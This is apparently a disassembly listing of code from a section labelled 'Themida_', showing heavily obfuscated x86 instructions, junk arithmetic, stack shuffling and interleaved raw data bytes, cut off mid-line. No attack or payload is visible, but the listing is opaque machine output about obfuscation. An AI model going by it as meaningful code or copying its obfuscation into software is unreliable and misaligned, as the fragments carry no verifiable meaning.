loc_59BB23:				; CODE XREF: Themida_:005A39B3j
		push	ebp
		mov	ebp, 5BFC05C9h
		mov	ecx, ebp
		pop	ebp
		add	ecx, 3AEB6504h
		jmp	loc_59A50F
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF7h, 4C481h, 0CEE90000h, 5B000032h, 0FFE055E9h
		dd 0C895CFFh, 8F84E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BB56:				; CODE XREF: Themida_:0059EB9Bj
		add	eax, 1D32915h
		add	ebp, eax
		pop	eax
		push	5C9Eh
		mov	[esp], edi
		push	4676h
		mov	[esp], ebp
		mov	ebp, 59A57DC1h
		or	ebp, 12F665ABh
		xor	ebp, 26907DDDh
		add	ebp, 5AEE11CDh
		xor	ebp, 0D8551207h
		push	ebp
		jmp	loc_5A6514
; ---------------------------------------------------------------------------
aZ4LSp3		db '‡4$‹$$é3',0
		align 4
		dd 0BA241489h, 542976C9h, 16D1F281h, 0F2812CB1h, 65AB63A6h
		dd 547BE9h, 0E8C14800h,	59DB2D07h, 12355C20h, 89D43DDCh
		dd 7990E9C5h, 48BFFFFh,	4C48124h, 0E9000000h, 4BA9h, 0E9E28952h
		dd 0FFFFC754h
; ---------------------------------------------------------------------------


loc_59BBE0:				; CODE XREF: Themida_:00599F3Ej
		mov	esi, 68272FB9h
		jmp	loc_5972F2
; ---------------------------------------------------------------------------
aIrsqd		db '‰àéq¤',0
		dd 4EC8300h, 0B9240C89h, 42F13A8Fh, 213CE181h, 0D9F779C2h
		dd 54F7C981h, 0C1814AF8h, 514E2FF9h, 0F014C181h, 8EE9AEB1h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BC1B:				; CODE XREF: Themida_:005A2EFDj
		mov	edx, 54935748h
		add	edx, 6D590EECh
		shl	edx, 1
		push	ebp
		mov	ebp, 812337h
		add	ebp, 55670957h
		shl	ebp, 4
		jmp	loc_59ACFF
; ---------------------------------------------------------------------------


loc_59BC3C:				; CODE XREF: Themida_:005A6914j
		mov	eax, [esp]
		add	esp, 4
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_5976EB
; ---------------------------------------------------------------------------
		db 89h,	0F5h, 0FFh
		db 34h,	24h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_59CBA9
; ---------------------------------------------------------------------------


loc_59BC6D:				; CODE XREF: Themida_:00599BECj
		mov	esi, [esp]
		push	eax
		jmp	loc_59D1BD
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 0F135E95Dh, 505AFFFFh, 71061B8h, 0F8F3E95Fh,	158FFFFh
		dd 90E981F1h, 5E6B3179h, 0A811E9h, 24143300h, 0FF6D6FE9h
		dd 8BDF29FFh, 0C483241Ch, 7AC78104h, 29780B56h,	4BAAE9DFh
		dd 0C4800000h, 0E9E528E4h, 28AEh, 8102E2C1h, 4AE32F2h
		dd 8BD32918h, 89522414h, 0D7B951E2h, 0F7397074h, 1BC7E9D9h
		dd 81590000h, 0C00044F2h, 7E6EE910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BCEA:				; CODE XREF: Themida_:005A674Cj
		push	0B29h
		mov	[esp], edi
		jmp	loc_594860
; ---------------------------------------------------------------------------


loc_59BCF7:				; CODE XREF: Themida_:00592A4Dj
		sub	edi, 61B0657Ch
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A48B7
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 9Fh
		dd 81FFFF8Fh, 4ECh, 7403E900h, 3C87FFFFh, 20E95C24h, 81FFFFEAh
		dd 4C4h, 244C0100h, 0C2BB5304h,	295EE53Ah, 0E908245Ch
		dd 9E1Dh, 2434FF5Bh, 4C48158h, 88000000h, 0C8B66EAh, 25ED6824h
		dd 4890000h, 52E08924h,	0A7F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BD61:				; CODE XREF: Themida_:005A0BFEj
		push	dword ptr [edi+1Ch]
		push	ebp
		jmp	loc_597CC4
; ---------------------------------------------------------------------------
		dw 3157h
		dd 3C33243Ch, 243C3124h, 0FFF1D6E9h, 0C8B66FFh,	5B186824h
		dd 0C890000h, 4EC8124h,	0E9000000h, 6881h, 63CDE981h, 0D90115B1h
		dd 8E6FE957h, 0E9010000h, 5E32E981h, 0E95D7ABBh, 9BE1h
; ---------------------------------------------------------------------------


loc_59BDAC:				; CODE XREF: Themida_:005A3E0Bj
		mov	edi, esi
		pop	esi
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		push	2CBh
		jmp	loc_59B6A6
; ---------------------------------------------------------------------------


loc_59BDC0:				; CODE XREF: Themida_:0059A894j
		sub	ecx, 3B212D27h
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_5A4773
; ---------------------------------------------------------------------------
aUwltSI		db '¹ãw«t)Êé*›',0
		align 10h
		dd 614F55B8h, 0E0C1480Eh, 6CDFE905h, 4890000h, 241C3124h
		dd 0FFA83BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59BDF9:				; CODE XREF: Themida_:0059ACDFj
		xor	edx, 0BB57477Bh
		sub	ebp, edx
		pop	edx
		push	ecx
		jmp	loc_59E5F9
; ---------------------------------------------------------------------------
		dd 0EB80DE86h, 0E9DE8601h, 4842h, 2ABAEB81h, 0E9564E43h
		dd 0FFFFBBDDh
; ---------------------------------------------------------------------------


loc_59BE20:				; CODE XREF: Themida_:0059D6ABj
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, esi
		mov	edx, ebp
		pop	ebp
		push	edx
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_59FCF5
; ---------------------------------------------------------------------------
		dw 5357h
		dd 0FF7A73E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59BE49:				; CODE XREF: Themida_:005A2703j
		mov	esi, 4CEC534Eh
		sub	ebx, esi
		pop	esi
		push	edx
		jmp	loc_596EF7
; ---------------------------------------------------------------------------
		db 66h
		dd 666BAABFh, 1421E781h, 0FFB46AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59BE65:				; CODE XREF: Themida_:005A61B1j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	esi, [esp]
		jmp	loc_5A0F41
; ---------------------------------------------------------------------------


loc_59BE7E:				; CODE XREF: Themida_:0059FFE7j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A5915
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 34FF0000h, 2817E924h, 2C890000h, 0E91DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BED6:				; CODE XREF: Themida_:00598CE2j
		push	edx
		jmp	loc_5A5D4A
; ---------------------------------------------------------------------------
		dd 0B7534B2Ch, 0E1F9E913h, 0AC68FFFFh, 8900001Ch, 4832424h
		dd 0E95B0424h, 0FFFFE85Fh
; ---------------------------------------------------------------------------


loc_59BEF8:				; CODE XREF: Themida_:00594CD8j
		mov	[esp], eax
		mov	al, 0C0h
		push	ebx
		mov	bh, al
		mov	dh, bh
		pop	ebx
		pop	eax
		jmp	loc_59B4A0
; ---------------------------------------------------------------------------
		db 0BAh, 6Bh, 39h
		dd 0C1421D4Ah, 0E94205EAh, 0FFFF9622h
; ---------------------------------------------------------------------------


loc_59BF18:				; CODE XREF: Themida_:0059E29Cj
		mov	eax, 70BC3F88h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_595A1A
; ---------------------------------------------------------------------------


loc_59BF2B:				; CODE XREF: Themida_:005A36A0j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A0704
; ---------------------------------------------------------------------------


loc_59BF3F:				; CODE XREF: Themida_:00597456j
		sub	ecx, 37B28D3h
		jmp	loc_5A40DA
; ---------------------------------------------------------------------------
		dw 8851h
		dd 59CE88E1h, 24048B66h, 81E18951h, 4C1h, 2C18300h, 5C240C87h
		dd 8054F680h, 0F30037C3h, 9FF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BF71:				; CODE XREF: Themida_:0059E632j
		mov	ecx, [esp]
		jmp	loc_596338
; ---------------------------------------------------------------------------


loc_59BF79:				; CODE XREF: Themida_:005A42E6j
		xchg	ecx, edx
		jmp	loc_598D73
; ---------------------------------------------------------------------------
		dd 0CF81D7F7h, 3E0735CCh, 2418E9h, 0EE815900h, 41D60C91h
		dd 0C681D601h, 41D60C91h, 1CEE81h, 0EE814301h, 39CA0A10h
		dd 414AE9h
		db 0
; ---------------------------------------------------------------------------


loc_59BFAD:				; CODE XREF: Themida_:0059D7EEj
		mov	ebp, 23DC772Ch
		or	ebp, 43865A0Bh
		jmp	loc_5A3E66
; ---------------------------------------------------------------------------


loc_59BFBD:				; CODE XREF: Themida_:0059F74Cj
		shr	edi, 8
		jmp	loc_5A49EB
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0AC3AE9h
		db 0
; ---------------------------------------------------------------------------


loc_59BFCD:				; CODE XREF: Themida_:00592C33j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_593291
		push	ebx
		sub	esp, 4
		jmp	loc_599EC9
; ---------------------------------------------------------------------------
		db 81h
		dd 0DAD7A9C3h, 0FFD82986h, 515B2434h, 3491E9h, 13926800h
		dd 2C890000h, 48AEBD24h, 0DDF76628h, 71FEE581h,	0E5C16E5Ah
		dd 474DE908h, 55E90000h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C01B:				; CODE XREF: Themida_:005991CEj
		add	esp, 4
		push	ecx
		push	806h
		mov	[esp], eax
		push	57C1665Eh
		pop	eax
		push	425h
		mov	[esp], esi
		mov	esi, 7AAC6F79h
		jmp	loc_596E08
; ---------------------------------------------------------------------------
		dw 5251h
		dd 0F82500BAh, 932B918h, 0E981221Fh, 384D55EDh,	0C181D101h
		dd 384D55EDh, 0F6BA525Ah, 4209702Ch, 0F4E2814Ah, 0F76CFB0Eh
		dd 593AE9D2h, 34FF0000h, 2434FF24h, 0FFD554E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C07D:				; CODE XREF: Themida_:0059750Bj
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		push	ebp
		mov	ebp, 4
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		pop	ebp
		add	ebp, 420118D3h
		add	ebp, ebx
		sub	ebp, 420118D3h
		jmp	loc_5A6CEB
; ---------------------------------------------------------------------------
		db 58h
		dd 1C8BDE89h, 4C48124h,	56000000h, 0B9243481h, 58560B07h
		dd 0B07B935h, 24348B56h, 1B37E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C0C6:				; CODE XREF: Themida_:005A02B0j
		add	eax, 4
		jmp	loc_5997F8
; ---------------------------------------------------------------------------
		dd 4246C01h, 0FFBE17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C0D9:				; CODE XREF: Themida_:005A511Cj
		push	edi
		mov	edi, 3EFE6B22h
		sub	edx, edi
		pop	edi
		push	edi
		mov	edi, 11F50A9Ah
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0FEh
		dd 0CFFEC7FEh, 0FFA267E9h, 0B9E95DFFh, 8BFFFFEEh, 0C483240Ch
		dd 5E585604h, 9249262Dh, 2B656801h, 2C890000h, 461CBD24h
		dd 0F581090Ah, 2DE90617h, 0C581EDD1h, 3C046F8Eh, 1BE9DDF7h
		dd 5AFFFF8Eh, 0FF889DE9h, 4C381FFh, 83000000h, 1C8704C3h
		dd 55565C24h, 0C466F4BDh, 0A8BA5233h, 1745851h,	0C5815AD5h
		dd 0ADDEB402h, 1F56A8BEh, 0A3EE90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C186:				; CODE XREF: Themida_:0059FEAFj
		neg	edi
		sub	edi, 0FFFFFFFFh
		or	edi, 2185E99h
		or	edi, 0A70D6Bh
		add	edi, 5A8F3ACh
		add	ecx, edi
		pop	edi
		jmp	loc_59D0DD
; ---------------------------------------------------------------------------
		dd 0E953C330h, 0FFFFFD36h
; ---------------------------------------------------------------------------


loc_59C1B0:				; CODE XREF: Themida_:0059CC05j
		pop	edx
		xor	ebx, 22E257F6h
		sub	ebx, 3FD867D1h
		sub	ecx, 22FA5698h
		sub	ecx, ebx
		add	ecx, 22FA5698h
		jmp	loc_593EBB
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 0E902C783h, 0FFFFFB3Eh, 8124348Bh, 4C4h
		dd 74FF5000h, 8F580424h, 248B2404h, 48B6624h, 61FAE924h
		dd 9EB1FFFFh, 2467E952h, 0EE810000h, 2ED149EFh,	0F707E6C1h
		dd 77A2E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C216:				; CODE XREF: Themida_:0059CEB9j
		mov	ebp, 0F4B6A5Ch
		push	esi
		mov	esi, 517F1144h
		add	ecx, esi
		pop	esi
		sub	ecx, ebp
		jmp	loc_59B881
; ---------------------------------------------------------------------------
aYh_0		db 9,'ËYh',0
		dd 29000000h, 0E95B241Ch, 18DEh, 5ED268h, 241C8900h, 0C381E389h
		dd 4, 0A2E95251h, 52FFFFDDh, 4BFCBA66h,	5EAC166h, 0FDC28166h
		dd 0F281664Bh, 0C16649F3h, 816602EAh, 0E92CA1F2h, 7C18h
; ---------------------------------------------------------------------------


loc_59C274:				; CODE XREF: Themida_:005A5888j
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_59880C
; ---------------------------------------------------------------------------
		dw 5650h
		dd 36043F68h, 0BE95E37h, 0C1FFFFE5h, 515202EDh,	0FF7966E9h
		dd 69ED81FFh, 815FC21Ah, 0B15B1E5h, 81D5F70Ah, 9AB5FCF5h
		dd 0E9E88998h, 88E7h, 0FF5CABE9h, 38E95FFFh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C2CB:				; CODE XREF: Themida_:005A0891j
		pop	esp
		jmp	loc_594F5D
; ---------------------------------------------------------------------------


loc_59C2D1:				; CODE XREF: Themida_:00595C3Bj
		mov	edx, 5BE8123Bh
		and	ebx, edx
		pop	edx
		not	ebx
		jmp	loc_5A63E4
; ---------------------------------------------------------------------------
		dd 2086EB81h, 0FB017B32h, 2086C381h, 21E97B32h,	55FFFFFBh
		dd 8B7549BDh, 0E5814D3Ah, 10DF2628h, 5005EDC1h,	0AB85E9h
		dd 242C8B00h, 0FF6242E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C311:				; CODE XREF: Themida_:005A5920j
		push	esp
		jmp	loc_598A9B
; ---------------------------------------------------------------------------


loc_59C317:				; CODE XREF: Themida_:00593DA4j
		xor	eax, 83D15817h
		jmp	loc_594D70
; ---------------------------------------------------------------------------


loc_59C321:				; CODE XREF: Themida_:0059A075j
		pop	ebp
		push	edx
		mov	edx, 2AC02904h
		dec	edx
		inc	edx
		jmp	loc_59FA5E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 4DE92434h, 54FFFFBDh, 9AABE95Bh,	875AFFFFh
		dd 0E9243Ch, 83FFFFA8h,	0C8904ECh, 0DC7EE924h, 0E929FFFFh
		dd 576AC181h, 815D250Fh, 5D0D31C1h, 65E941D8h, 2900003Ch
		dd 8443E9F3h, 0D800FFFFh, 1B45051h, 88E9DBB1h, 8900001Ah
		dd 7BE2434h, 811CFD01h,	9A2B57E6h, 0BCD0E95Ch, 79BBFFFFh
		dd 533D7217h, 0F7242C87h, 242C87D5h, 48C3E95Bh,	0F2290000h
		dd 5AD1895Eh, 3CECE181h, 0D9F7132Ch, 0F705E1C1h, 67C181D1h
		dd 0C11343CDh, 0E1C103E1h, 22C98104h, 4900AC18h, 2E3CB850h
		dd 12354353h, 0E90FD922h, 1726h, 60C3C181h, 0E9535D01h
		dd 0FFFF6AF0h
; ---------------------------------------------------------------------------


loc_59C3E8:				; CODE XREF: Themida_:0059E808j
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_59AE54
; ---------------------------------------------------------------------------


loc_59C401:				; CODE XREF: Themida_:005973A5j
		add	esp, 4
		or	eax, eax
		jz	loc_5A5336
		push	dword ptr [edi+28h]
		push	edi
		push	ebp
		jmp	loc_59DEFD
; ---------------------------------------------------------------------------


loc_59C419:				; CODE XREF: Themida_:00598473j
		pop	edi
		jmp	loc_59F491
; ---------------------------------------------------------------------------


loc_59C41F:				; CODE XREF: Themida_:005927EDj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A100A
; ---------------------------------------------------------------------------


loc_59C42D:				; CODE XREF: Themida_:0059FD90j
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_59810F
; ---------------------------------------------------------------------------


loc_59C438:				; CODE XREF: Themida_:00593B12j
		mov	ax, [esp]
		push	904h
		mov	[esp], eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_598E0E
; ---------------------------------------------------------------------------
		db 66h,	0BAh, 0F0h
		dd 12E9557Ah, 58FFFFECh, 2474FF52h, 48F5A04h, 55E95C24h
		dd 81FFFFA9h, 4C2h, 4C28300h, 5C241487h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	4
		pop	edi
		add	ebp, edi
		pop	edi
		push	ecx
		push	ebx
		jmp	loc_5A5996
; ---------------------------------------------------------------------------


loc_59C490:				; CODE XREF: Themida_:005A5937j
		add	esp, 4
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59E380
; ---------------------------------------------------------------------------
		db 66h
		dd 0B6241489h, 66F03007h, 30B6525Ah, 34FFF008h,	0C4815A24h
		dd 4, 0FF700DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C4C1:				; CODE XREF: Themida_:005A5193j
		add	eax, 388235AAh
		sub	eax, 34472E63h
		push	ebx
		mov	ebx, 0
		sub	ebx, eax
		mov	eax, ebx
		pop	ebx
		jmp	loc_5996AB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8953240Ch, 156168E3h, 4890000h, 4B824h, 0C3010000h
		dd 8124048Bh, 4C4h, 4C38100h, 87000000h, 835C241Ch, 148704C2h
		dd 8FA9E924h, 0E8C00000h, 61B35303h, 32E1E9h, 55C68100h
		dd 810FF813h, 89CB0C6h,	0AE60E980h, 0F746FFFFh,	81E6D1DEh
		dd 0F82502F6h, 2AB605AAh, 0F0290847h, 472AB62Dh, 89505E08h
		dd 0B40CE9E0h, 0F901FFFFh, 1C5FE981h, 3C8B3961h, 4C48324h
		dd 8B240C87h, 48F2424h,	760EE924h, 0EC810000h, 4, 53240C89h
		dd 8904EC83h, 0E9240Ch,	48h, 2434FFEBh,	4C48159h, 0E9000000h
		dd 9DBEh, 24148B66h, 3D3268h, 24348900h, 8957E689h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 42EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59C5B1:				; CODE XREF: Themida_:005A0584j
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_594D2C
; ---------------------------------------------------------------------------


loc_59C5C8:				; CODE XREF: Themida_:005952C1j
		mov	esi, 10CE6FCEh
		sub	ebp, esi
		pop	esi
		sub	ebp, ecx
		push	ecx
		mov	ecx, 10CE6FCEh
		jmp	loc_5A0419
; ---------------------------------------------------------------------------
		db 0BAh, 60h, 64h
		dd 0F2817ECAh, 66F353F1h, 0C281EAD1h, 3558790h,	0C15AD029h
		dd 7D3504E0h, 486A6805h, 0FC55C82Dh, 6B32E9BEh,	34FF0000h
		dd 82685924h, 89000071h, 0EC812434h, 4,	0FF67B8E9h, 417B68FFh
		dd 4890000h, 0B824h, 0A82D0000h, 13DDA72h, 72A805D8h, 68513DDAh
		dd 0
		dd 0E9C10159h, 2C71h, 4BFh, 6260E900h, 0F781FFFFh, 55521718h
		dd 65A4BA52h, 0E4E93825h, 20000029h, 24148BF5h,	0E904C483h
		dd 2271h
; ---------------------------------------------------------------------------


loc_59C66C:				; CODE XREF: Themida_:0059D11Aj
		push	ebx
		push	67C26E10h
		pop	ebx
		xor	ebx, 668817C4h
		sub	ebx, 0F6783EBBh
		sub	esp, 4
		mov	[esp], ebx
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 1E145C30h
		sub	ecx, 4E111574h
		inc	ecx
		or	ecx, 303F0A13h
		dec	ecx
		add	ecx, 0FFFFFFFFh
		add	ecx, 0FC0B147h
		add	esi, ecx
		jmp	loc_596818
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 81E78957h, 4C7h, 4EF8300h, 0E9243C87h, 0FFFFE7FBh
; ---------------------------------------------------------------------------


loc_59C6CC:				; CODE XREF: Themida_:005A30CAj
		xor	edi, 6060286Ch
		mov	ebp, edi
		pop	edi
		jmp	loc_593A0B
; ---------------------------------------------------------------------------
		dw 0CE01h
		dd 67CEE959h, 0BB53FFFFh, 132C268Dh, 0E95BD829h, 7009h
		dd 0C8FE702Ch, 30686F34h, 89000011h, 64B7241Ch,	515BF828h
		dd 8904EC83h, 0CB7241Ch, 684FC780h, 29FDh, 0E9241489h
		dd 0FFFFC30Eh, 61E95B66h, 8FFFFFB2h, 9EE92404h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C72B:				; CODE XREF: Themida_:005A12C7j
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5A6606
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0FFD599E9h, 24248BFFh, 5A68F1F7h, 8900004Ah,	9C502414h
		dd 0FF57F3E9h, 81F329FFh, 1B0870C3h, 24348B0Ch,	5604C483h
		dd 518DBD55h, 0EE894E57h, 6D75E9h, 0E9D13100h, 0A83Eh
		dd 0DA3AE958h, 0C681FFFFh, 0B8D02766h, 0C8BCE29h, 4C48324h
		dd 4EC81h, 4890000h, 0FFFFB824h, 0EE81FFFFh, 72D144BCh
		dd 0C681C629h, 72D144BCh, 7EA3E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C7D6:				; CODE XREF: Themida_:0059637Fj
		pop	esi
		jmp	loc_5A376F
; ---------------------------------------------------------------------------
		dd 0C7E9D808h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C7E3:				; CODE XREF: Themida_:005A042Aj
		add	dword ptr [esp], 4
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	0F71h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5A3001
; ---------------------------------------------------------------------------


loc_59C803:				; CODE XREF: Themida_:0059FDBDj
		xor	dword ptr [esp], 5CF82E34h
		pop	edx
		push	4682h
		mov	[esp], ecx
		mov	ecx, 5CF82E34h
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 16D0BB1h
		shl	ebx, 7
		dec	ebx
		push	eax
		mov	eax, 4E6A3206h
		and	eax, 66EF66A5h
		jmp	loc_599780
; ---------------------------------------------------------------------------


loc_59C843:				; CODE XREF: Themida_:0059778Fj
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		test	ecx, eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		dw 0F8BAh
		dd 810B2324h, 0A049E8F2h, 6EAC114h, 0F250C281h,	0D601FF81h
		dd 4C6835Ah, 5C243487h,	935C312Dh, 56162D37h, 0F80165F5h
		dd 4BBDE9h, 86E95F00h, 5BFFFFFCh, 0E924048Fh, 26C8h, 0FF56CFE9h
		dd 87D2F7FFh, 81D3F7D3h, 0A1C518C3h, 8C49E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C8B2:				; CODE XREF: Themida_:0059B0D6j
		shr	ecx, 5
		add	ecx, 445E42D5h
		or	ecx, 693E36AAh
		sub	ecx, 118F5E72h
		xor	ecx, 5DF06048h
		push	2468h
		jmp	loc_593CBA
; ---------------------------------------------------------------------------
		db 81h
		dd 0FB5BE4EFh, 9350E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C8E2:				; CODE XREF: Themida_:00593D35j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A3F50
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	1435h
		mov	[esp], esi
		push	2A4D06BBh
		pop	esi
		inc	esi
		jmp	loc_59AF16
; ---------------------------------------------------------------------------


loc_59C90E:				; CODE XREF: Themida_:005946C3j
		neg	esi
		xchg	eax, esi
		push	1966h
		mov	[esp], edx
		mov	edx, 0FE858AC9h
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		add	dword ptr [esp], 6A817C55h
		jmp	loc_592901
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4F215B82h, 1FE9F831h, 54FFFFE2h, 8124048Fh, 42404h
		dd 0E95F0000h, 0A3D0h
; ---------------------------------------------------------------------------


loc_59C954:				; CODE XREF: Themida_:0059539Fj
		sub	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_595316
; ---------------------------------------------------------------------------


loc_59C95F:				; CODE XREF: Themida_:005A01B1j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		push	esi
		mov	esi, 251B0D98h
		mov	edx, esi
		pop	esi
		neg	edx
		inc	edx
		add	edx, 10720FFCh
		push	edi
		mov	edi, 2FBC72B0h
		not	edi
		sub	edi, 43934989h
		neg	edi
		jmp	loc_59EE77
; ---------------------------------------------------------------------------


loc_59C991:				; CODE XREF: Themida_:005A029Bj
		sub	ebp, edi
		pop	edi
		sub	ebp, 0BDC39631h
		sub	edi, 79FB64C1h
		add	edi, ebp
		add	edi, 79FB64C1h
		jmp	loc_5A6C15
; ---------------------------------------------------------------------------
		db 59h,	2Dh, 95h
		dd 0E93CC144h, 0FFFF9D5Bh, 83240C8Bh, 0F00004C4h, 8324148Bh
		dd 3D2C04C4h, 0D800B02Ch, 4F3CE9h, 0C2815C00h, 4, 16E95055h
		dd 5C00004Bh, 0BF243C89h, 1365385h, 6A6BF781h, 0E955018Ah
		dd 27C4h, 8B241487h, 0BCE92424h, 50000A1h, 8D089679h, 8158C631h
		dd 0AB77E3C2h, 0B1EA8174h, 149650Fh, 0E266E9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CA1A:				; CODE XREF: Themida_:005A57E5j
		push	edx
		mov	dh, 6Dh
		and	dh, 36h
		push	ebx
		mov	bl, 5Fh
		not	bl
		xor	bl, 7Ah
		or	dh, bl
		pop	ebx
		neg	dh
		push	cx
		mov	cl, 4Bh
		xor	dh, cl
		jmp	loc_5A6AEC
; ---------------------------------------------------------------------------


loc_59CA38:				; CODE XREF: Themida_:0059B8ADj
		mov	ebx, 39B020F1h
		add	ebx, 29F76C39h
		sub	edi, ebx
		pop	ebx
		mov	ecx, edi
		pop	edi
		sub	ecx, eax
		xchg	eax, ecx
		pop	ecx
		xor	eax, 3E8BE4FAh
		mov	ebp, eax
		pop	eax
		add	ebx, ebp
		jmp	loc_593D23
; ---------------------------------------------------------------------------
		dd 0BB53E689h, 4, 0E95BDE01h, 0FFFFD89Eh, 512AC780h, 7E97E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CA75:				; CODE XREF: Themida_:005A1D30j
		push	217Dh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 35C316E8h
		mov	ebp, 36C94B52h
		jmp	loc_5A33C6
; ---------------------------------------------------------------------------


loc_59CA95:				; CODE XREF: Themida_:005989A6j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		push	251Eh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_59D02D
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4ECh, 24048900h, 42EFE9h, 3EFC100h, 240CFF57h, 81E7D15Fh
